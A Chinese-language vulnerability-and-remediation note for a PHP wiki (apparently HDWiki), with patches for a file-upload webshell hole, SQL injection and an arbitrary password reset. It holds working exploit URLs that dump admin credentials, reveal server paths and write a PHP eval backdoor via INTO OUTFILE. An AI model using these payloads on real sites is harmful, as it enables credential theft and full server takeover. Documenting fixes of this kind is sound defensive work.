1、
漏洞:编辑词条,上传图片,服务端未作类型判断,导致直接上传php文件,从而获取webshell。
修复:修改文件wiki/control/attachment.php
// 禁止上传除了jgp、gif、png后缀的其他文件
if ($extname != "jpg" && $extname != "gif" && $extname != "png")
{
$_ENV['attachment']->showmsg($imgname);
exit;
}
2、
漏洞:summary页面注入漏洞
(1)获取admin用户密码(修改groupid为2即可获取另一用户密码)
http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,concat%28username,0x7c,password%29,7,8,9,0,1,2,3,4,5,6,7,8,9,0%20from%20wiki_user%20where%20groupid=4%23
(2)获取服务器web绝对路径
http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,@@datadir,7,8,9,0,1,2,3,4,5,6,7,8,9,0%23
(3)写入一句话后门,菜刀(其中用到了上面爆出来的web绝对路径)
http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,%27<?php%20eval($_POST[pass]);?>%27,7,8,9,0,1,2,3,4,5,6,7,8,9,0%20into%20outfile%20%27D:/7%20site/PHPnow-1%2e5%2e6/htdocs/wiki/1%2ephp%27%23
修复:
(1)修改访问不存在的词条响应慢的问题(如http://《域名》/wiki/index.php?doc-summary-xxx)
修改文件wiki/control/doc.php,在函数dosummary()中注释掉
/* 怪不得那么慢,竟然上hudong.com查询,真猥琐
else{
$url = 'http://www.hudong.com/validateDocSummary.do?doc_title='.$title2;
...............
}else{
$doc_exists=0;
}
}
*/
(2)同样在函数dosummary()中,在拼接到sql查询语句之前,转义查询参数中的特殊字符
// 防sql注入
$title = mysql_real_escape_string($title);
$doc=$this->db->fetch_by_field('doc','title',$title);
3、
漏洞:任意用户密码修改(http://www.wooyun.org/bugs/wooyun-2012-06052)
(1)访问链接http://wiki.somesite.com/index.php?user-getpass-用户id,即可直接修改admin密码
修复:对重置密码的链接添加判断
修改文件wiki/control/user.php
function dogetpass(){
if(isset($this->get[2])){
$uid=$this->get[2];
$encryptstring=$this->get[3];
$idstring=$_ENV['user']->get_idstring_by_uid($uid,$this->time);
//重置密码链接,添加判断
if(empty($encryptstring) || empty($idstring))
{
$this->message($this->view->lang['resetPassMessage'], $this->setting['site_url'] ,0);
}
if($idstring==$encryptstring){
。。。。。。。
}elseif(isset($this->post['verifystring'])){
。。。。。。。
//重置密码链接,添加判断
if(empty($encryptstring) || empty($idstring))
{
$this->message($this->view->lang['resetPassMessage'], $this->setting['site_url'] ,0);
}
if($idstring==$encryptstring){
。。。。。。。